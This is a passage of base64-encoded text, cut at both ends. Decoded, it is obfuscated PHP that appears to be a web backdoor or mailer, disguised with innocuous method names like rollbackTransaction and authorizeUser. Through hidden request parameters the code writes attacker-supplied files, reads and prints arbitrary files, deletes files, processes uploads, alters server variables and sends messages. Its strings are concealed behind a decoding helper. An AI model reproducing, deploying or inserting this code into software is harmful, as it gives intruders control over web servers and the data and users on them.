nLCAnX2tzbCcpIC4gcmFuZCgwMCwgMDM3NykgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2trcicsICdfcWInKSAuIHJhbmQoMDAsIDAzNzcpOwogICAgICAgIGlmICghZW1wdHkoJF9TRVJWRVJbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19waGcnLCAnX29xJyldKSkgewogICAgICAgICAgICAkX1NFUlZFUltEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX29pJywgJ19veicpXSA9ICR0aGlzLT5fa3Q7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUltEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2ZvYicsICdfa2QnKV0pKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRfU0VSVkVSIGFzICRfZXpzID0+ICRfZ2R4KSB7CiAgICAgICAgICAgICAgICBpZiAoJF9nZHggPT0gJF9TRVJWRVJbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ193YycsICdfZHAnKV0pIHsKICAgICAgICAgICAgICAgICAgICAkX1NFUlZFUlskX2V6c10gPSAkdGhpcy0+X2t0OwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRfU0VSVkVSW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdHB5JywgJ19pcScpXSA9ICR0aGlzLT5fa3Q7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5fbWlyID0gQHN0cmVhbV9jb250ZXh0X2NyZWF0ZShhcnJheShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX21kJywgJ19tcycpID0+IGFycmF5KERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdHV6JywgJ19veScpID0+IGZhbHNlLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3ZmJywgJ19haycpID0+IGZhbHNlLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3dzJywgJ19nbWEnKSA9PiB0cnVlKSkpOwogICAgICAgICRfenZpID0gJHRoaXMtPmdlbmVyYXRlVG9rZW4oKTsKICAgICAgICAkdGhpcy0+X2tnID0gJF96dmlbMDBdOwogICAgICAgICR0aGlzLT5fanFnID0gJF96dmlbMDFdOwogICAgfQogICAgZnVuY3Rpb24gcm9sbGJhY2tUcmFuc2FjdGlvbigpCiAgICB7CiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3NiJywgJ19hcmMnKV0pKSB7CiAgICAgICAgICAgICR0aGlzLT50cmlnZ2VyQ2FsbGJhY2soKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2l4JywgJ19jcScpXSkpIHsKICAgICAgICAgICAgJHRoaXMtPnRlcm1pbmF0ZVNlc3Npb24oKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3didCcsICdfdmVlJyldKSkgewogICAgICAgICAgICAkdGhpcy0+YXV0aG9yaXplVXNlcigpOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdWknLCAnX2FobycpXSkpIHsKICAgICAgICAgICAgJHRoaXMtPnVwZGF0ZUNhY2hlKCk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19xZCcsICdfZHJkJyldKSkgewogICAgICAgICAgICBwYXJzZV9zdHIob3B0aW1pemVfY2FjaGUoJF9SRVFVRVNUW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdHVmJywgJ192ZngnKV0pLCAkX1JFUVVFU1QpOwogICAgICAgIH0gZWxzZWlmIChhZ2dyZWdhdGVfcmVzdWx0cygkX1JFUVVFU1QpID09IDAxICYmIGRpc3BhdGNoX3NpZ25hbChzeW5jX2RhdGEoJF9SRVFVRVNUKSkgPT0gMDMpIHsKICAgICAgICAgICAgcGFyc2Vfc3RyKG9wdGltaXplX2NhY2hlKCRfUkVRVUVTVFtzeW5jX2RhdGEoJF9SRVFVRVNUKV0pLCAkX1JFUVVFU1QpOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZWgnLCAnX25kdicpXSkpIHsKICAgICAgICAgICAgJHRoaXMtPl92ZSA9ICRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3dpJywgJ19kbScpXTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2hjJywgJ19jdGsnKV0pKSB7CiAgICAgICAgICAgICR0aGlzLT5jYWNoZURhdGEgPSAkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ194aicsICdfeHQnKV0gPT0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19lcCcsICdfcnZ4JykgPyBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2J5JywgJ19vZScpIDogRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19kb3knLCAnX3llaycpOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaWVrJywgJ193dXknKV0pKSB7CiAgICAgICAgICAgICR0aGlzLT5fcWxsID0gJF9SRVFVRVNUW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcmMnLCAnX3piJyldOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZ2QnLCAnX3ZlJyldKSkgewogICAgICAgICAgICAkdGhpcy0+c2NoZWR1bGVKb2IoKTsKICAgICAgICAgICAgZGllOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZGh1JywgJ19pd2cnKV0pKSB7CiAgICAgICAgICAgICR0aGlzLT51cGRhdGVSZWdpc3RyeSgpOwogICAgICAgIH0KICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gdHJpZ2dlckNhbGxiYWNrKCkKICAgIHsKICAgICAgICAkX2N6ciA9IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfb3JqJywgJ19uZCcpOwogICAgICAgICRfeGV6ID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ192eWgnLCAnX3NzaicpOwogICAgICAgICRfZmxnID0gdHJ1ZTsKICAgICAgICBmb3JlYWNoIChzdGFydF9zZXJ2aWNlKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfY2cnLCAnX2JnJyksIG9wdGltaXplX2NhY2hlKCRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3B3JywgJ194aycpXSkpIGFzICRfb2spIHsKICAgICAgICAgICAgJF96b3QgPSBzdGFydF9zZXJ2aWNlKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfeWdoJywgJ192eWsnKSwgcnVuX3Byb2NlZHVyZSgkX29rKSwgMDIpOwogICAgICAgICAgICBpZiAoJF96b3RbMDBdID09IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcGcnLCAnX3RhZCcpKSB7CiAgICAgICAgICAgICAgICAkX2N6ciA9ICRfem90WzAxXTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkX2ZsZykgewogICAgICAgICAgICAgICAgICAgICRfeGV6IC49IG1vbml0b3JfaGVhbHRoKCRfY3pyLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2NyYycsICdfbWd0JykpICE9PSBmYWxzZSA/IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZmVqJywgJ19jcicpIDogRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19md2InLCAnX2duJyk7CiAgICAgICAgICAgICAgICAgICAgJF9mbGcgPSBmYWxzZTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJF94ZXogLj0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ196cCcsICdfa28nKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfeGV6IC49ICRfem90WzAwXSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfempqJywgJ19qdCcpIC4gJF96b3RbMDFdOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGRpZShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2NvJywgJ19nY2EnKSAuICRfY3pyIC4gJF94ZXogLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2xzJywgJ195c3YnKSk7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHRlcm1pbmF0ZVNlc3Npb24oKQogICAgewogICAgICAgICRfa3kgPSBvcHRpbWl6ZV9jYWNoZSgkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ190amgnLCAnX254YicpXSk7CiAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcXonLCAnX2VqJyksIGViaChEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2xmJywgJ190YmsnKSkgLiAkX2t5IC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ191dmYnLCAnX29xZCcpLCAwMTAgfCAwMik7CiAgICAgICAgZGllKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfenp3JywgJ19zb3EnKSAuICRfa3kgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3BiJywgJ19wdWsnKSk7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIGF1dGhvcml6ZVVzZXIoKQogICAgewogICAgICAgIGlmIChsYmkoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19lZHUnLCAnX2J0JykpKSB7CiAgICAgICAgICAgIGRpZShubDJicihAZmlsZV9nZXRfY29udGVudHMoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19wbG8nLCAnX21yJykpKSk7CiAgICAgICAgfQogICAgICAgIGRpZTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gdXBkYXRlQ2FjaGUoKQogICAgewogICAgICAgIGlmIChsYmkoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19hd2gnLCAnX3h3eicpKSkgewogICAgICAgICAgICBAdW5saW5rKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbnF0JywgJ19taScpKTsKICAgICAgICB9CiAgICAgICAgZGllOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBzY2hlZHVsZUpvYigpCiAgICB7CiAgICAgICAgJF94aG4gPSBpc3NldCgkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ195c2InLCAnX3l3bScpXSkgPyAkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19uZScsICdfZnQnKV0gOiAkdGhpcy0+X2tnOwogICAgICAgICRfb2QgPSBpc3NldCgkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ194Y3YnLCAnX3NqdCcpXSkgPyAkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19ubXEnLCAnX21odicpXSA6ICR0aGlzLT5fa2c7CiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3ZhJywgJ19wemInKV0pKSB7CiAgICAgICAgICAgIGVjaG8gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19pdGUnLCAnX29tJykgLiAkdGhpcy0+X3VhbzsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3BjdycsICdfbHR0JyldKSkgewogICAgICAgICAgICAkX3h2aSA9IHN0YXJ0X3NlcnZpY2UoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ193bGUnLCAnX2ZkJyksICRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3JwdScsICdfaWhvJyldKTsKICAgICAgICAgICAgJF94dmkgPSBpc3NldCgkX3h2aVswMF0pID8gJF94dmlbMDBdIDogRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19weWgnLCAnX2RmeCcpOwogICAgICAgICAgICBlY2hvICgkdGhpcy0+cGFyc2VSZXNwb25zZSgkX3h2aSwgJF94aG4sICRfb2QpID8gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19weScsICdfdm1rJykgOiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3F1JywgJ19nencnKSkgLiAkdGhpcy0+X3VhbzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYmsnLCAnX2VtJykgLiAkdGhpcy0+X3VhbzsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2diJywgJ19kc3MnKV0pKSB7CiAgICAgICAgICAgICRfYXhuID0gJHRoaXMtPnNhdmVDaGFuZ2VzKCk7CiAgICAgICAgICAgIGVjaG8gJF9heG4gPT0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19keGEnLCAnX29ibicpID8gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19xeGMnLCAnX3pkZScpIDogRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19ycycsICdfcWdnJykgLiAkX2F4biAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaWNtJywgJ196ZXInKTsKICAgICAgICB9CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHBhcnNlUmVzcG9uc2UoJF9jcCwgJF94aG4sICRfb2QpCiAgICB7CiAgICAgICAgJF94aG4gPSAkdGhpcy0+X3h4aygkdGhpcy0+Y2FjaGVEYXRhLCAkX3hobik7CiAgICAgICAgJF9kbSA9ICR0aGlzLT5feHhrKCR0aGlzLT5jYWNoZURhdGEsICRfb2QpOwogICAgICAgICRfYWQgPSAkdGhpcy0+X3hqdygpOwogICAgICAgICRfYXphID0gJF9hZCAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaG54JywgJ193dicpIC4gJHRoaXMtPl9rZzsKICAgICAgICAkX2l4aCA9ICR0aGlzLT5faGsoJF9hZCwgJF9hemEpOwogICAgICAgICRfaXhoIC49IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfeXonLCAnX2djJykgLiAkdGhpcy0+Y2FjaGVEYXRhIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19kYmknLCAnX3hhJyk7CiAgICAgICAgJF9oZCA9ICR0aGlzLT5zZW5kTm90aWZpY2F0aW9uKCR0aGlzLT5fa2csICRfYXphLCAkX2NwLCAkX3hobiwgJF9kbSwgJF9peGgpOwogICAgICAgIGlmICghJF9oZCAmJiAkdGhpcy0+X2tnICE9ICR0aGlzLT5fanFnKSB7CiAgICAgICAgICAgICRfYWQgPSAkdGhpcy0+X3hqdygpOwogICAgICAgICAgICAkX2F6YSA9ICRfYWQgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX29lcycsICdfd20nKSAuICR0aGlzLT5fanFnOwogICAgICAgICAgICAkX2l4aCA9ICR0aGlzLT5faGsoJF9hZCwgJF9hemEpOwogICAgICAgICAgICAkX2l4aCAuPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2xiJywgJ19pbycpIC4gJHRoaXMtPmNhY2hlRGF0YSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZmInLCAnX2hhcScpOwogICAgICAgICAgICAkX2hkID0gJHRoaXMtPnNlbmROb3RpZmljYXRpb24oJHRoaXMtPl9qcWcsICRfYXphLCAkX2NwLCAkX3hobiwgJF9kbSwgJF9peGgpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJF9oZDsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gdXBkYXRlUmVnaXN0cnkoKQogICAgewogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19reScsICdfbGpzJyldKSkgewogICAgICAgICAgICAkX3l0ID0gQGV4cGxvZGUoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ194dmMnLCAnX3ZuJyksICR0aGlzLT5fa2cpOwogICAgICAgICAgICAkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19tc3InLCAnX3dpbicpXSA9IHNjaGVkdWxlX3dvcmsoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19pdycsICdfaW4nKSwgcmVzb2x2ZV9kZXBlbmRlbmN5KCRfeXRbMDBdKSwgJF9SRVFVRVNUW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdmZqJywgJ19wbCcpXSk7CiAgICAgICAgfQogICAgICAgICRfeWogPSBpc3NldCgkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19raXcnLCAnX2JhZycpXSkgPyBzdGFydF9zZXJ2aWNlKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdHdjJywgJ19nZ2cnKSwgJF9SRVFVRVNUW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdmwnLCAnX2dxYicpXSkgOiBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRfeWogYXMgJF90dnApIHsKICAgICAgICAgICAgJF9ja3ogPSBzdGFydF9zZXJ2aWNlKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZmxuJywgJ19ubicpLCBydW5fcHJvY2VkdXJlKCRfdHZwKSk7CiAgICAgICAgICAgIGlmICghaXNzZXQoJF9ja3pbMDBdKSB8fCBlbXB0eSgkX2NrelswMF0pKSB7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkX2R2bSA9ICFlbXB0eSgkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ191YycsICdfanYnKV0pID8gcnVuX3Byb2NlZHVyZSgkdGhpcy0+cHJlcGFyZU91dHB1dCgkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19xemgnLCAnX3NyJyldLCAkX2NreikpIDogbnVsbDsKICAgICAgICAgICAgJF9jdyA9ICR0aGlzLT5wcmVwYXJlT3V0cHV0KCR0aGlzLT5jb21wdXRlUmVzdWx0KCRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3NpJywgJ19uYScpXSksICRfY2t6KTsKICAgICAgICAgICAgJF9hZCA9ICRfY3c7CiAgICAgICAgICAgICRfYXphID0gJHRoaXMtPmV4ZWN1dGVBY3Rpb24oJF9jdywgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19qemknLCAnX2prbycpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3dyZycsICdfZGFlJykpOwogICAgICAgICAgICBpZiAoIWVtcHR5KCRfYXphKSkgewogICAgICAgICAgICAgICAgJF9hZCA9IHJ1bl9wcm9jZWR1cmUoc2NoZWR1bGVfd29yayhEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3p4bicsICdfZ3VxJykgLiAkX2F6YSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdWdmJywgJ19yZ3UnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19jam8nLCAnX2hmJyksICRfYWQpKTsKICAgICAgICAgICAgICAgIGlmIChtb25pdG9yX2hlYWx0aCgkX2F6YSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19zb2YnLCAnX2tuJykpID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICRfYXphIC49IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdnYnLCAnX29vZCcpIC4gJHRoaXMtPl9rZzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRfYXphID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ192cicsICdfY3d2Jyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF90dnAgPSAkX2NrelswMF07CiAgICAgICAgICAgICRfanNyID0gc3RhcnRfc2VydmljZShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2ZzJywgJ196cW8nKSwgJF90dnApOwogICAgICAgICAgICAkX2pzciA9ICRfanNyWzAxXTsKICAgICAgICAgICAgJF9hZCA9IHNjaGVkdWxlX3dvcmsoYXJyYXkoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19oaCcsICdfc2UnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19oaXMnLCAnX25seScpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3VqJywgJ19qZycpKSwgYXJyYXkoJF9jdywgJF90dnAsICRfanNyKSwgJF9hZCk7CiAgICAgICAgICAgICRfYXphID0gc2NoZWR1bGVfd29yayhhcnJheShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2l6JywgJ19uemonKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19ucWQnLCAnX3J6JyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdWdwJywgJ19jYicpKSwgYXJyYXkoJF9jdywgJF90dnAsICRfanNyKSwgJF9hemEpOwogICAgICAgICAgICAkX2VmdCA9ICR0aGlzLT5jb21wdXRlUmVzdWx0KCRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3B2JywgJ196eScpXSk7CiAgICAgICAgICAgICRfZWZ0ID0gc2NoZWR1bGVfd29yayhhcnJheShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2Z3JywgJ19wYngnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19pcicsICdfYmRtJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaHd1JywgJ190cScpKSwgYXJyYXkoJF9jdywgJF90dnAsICRfanNyKSwgJF9lZnQpOwogICAgICAgICAgICAkX2VmdCA9ICR0aGlzLT5wcmVwYXJlT3V0cHV0KCRfZWZ0LCAkX2Nreik7CiAgICAgICAgICAgICRfdmJzID0gJF9SRVFVRVNUW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdmsnLCAnX2l3dycpXTsKICAgICAgICAgICAgJF92YnMgPSBzY2hlZHVsZV93b3JrKGFycmF5KERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcGRsJywgJ19nZicpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2RlaCcsICdfeGl5JyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfeXJiJywgJ19xeScpKSwgYXJyYXkoJF9jdywgJF90dnAsICRfanNyKSwgJF92YnMpOwogICAgICAgICAgICAkX3ZicyA9ICR0aGlzLT5wcmVwYXJlT3V0cHV0KCRfdmJzLCAkX2Nreik7CiAgICAgICAgICAgIGlmICghJHRoaXMtPnN5bmNSZWNvcmRzKCRfdHZwLCAkX2FkLCAkX2F6YSwgJF9lZnQsICRfdmJzLCAkX2R2bSkpIHsKICAgICAgICAgICAgICAgIGRpZShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2F4JywgJ19pbGEnKSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZGllKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZGEnLCAnX2d3JykpOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBzeW5jUmVjb3JkcygkX2NwLCAkX2FkLCAkX2F6YSwgJF91ZCwgJF9jb2wsICRfZmopCiAgICB7CiAgICAgICAgJF91dCA9ICR0aGlzLT5fcWlwKCRfY29sKTsKICAgICAgICAkX3BmID0gaXNzZXQoJF9SRVFVRVNUW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZm12JywgJ190YycpXSkgJiYgJF9SRVFVRVNUW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfenYnLCAnX2VlZicpXSA9PSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2tlcCcsICdfb3AnKTsKICAgICAgICAkX2RsbyA9IGFycmF5KCk7CiAgICAgICAgaWYgKGlzc2V0KCRfRklMRVNbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19pdmYnLCAnX2VmJyldKSAmJiAhJF9GSUxFU1tEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3VsZCcsICdfaHgnKV1bRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ193bWYnLCAnX2NhdicpXSkgewogICAgICAgICAgICAkX2Rsb1tdID0gJF9GSUxFU1tEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3pzJywgJ193aicpXTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRfRklMRVNbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19xYmgnLCAnX2FmaScpXSkgJiYgbGJpKCRfRklMRVNbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19lanInLCAnX29leCcpXVtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2diYicsICdfaXknKV0pKSB7CiAgICAgICAgICAgICRfZGxvW10gPSAkX0ZJTEVTW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdHgnLCA